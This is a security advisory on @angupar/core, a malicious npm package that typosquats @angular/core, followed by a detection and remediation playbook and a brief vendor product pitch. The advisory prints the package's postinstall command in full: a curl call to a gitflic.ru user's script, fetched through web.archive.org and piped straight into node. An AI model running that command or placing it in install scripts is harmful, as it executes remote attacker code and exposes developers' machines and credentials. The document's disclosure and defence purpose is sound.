@angupar/corenpm
Advisory published Updated
@angupar/core is a confirmed malicious npm package (MAL-2026-17539) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @angupar/core (npm)
What this malware does
Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a third-party user account (hellscripter on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. npm install @angupar/core therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @angupar/core (version 22.2.1).
If you installed it — respond
@angupar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angupar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angupar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks @angupar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
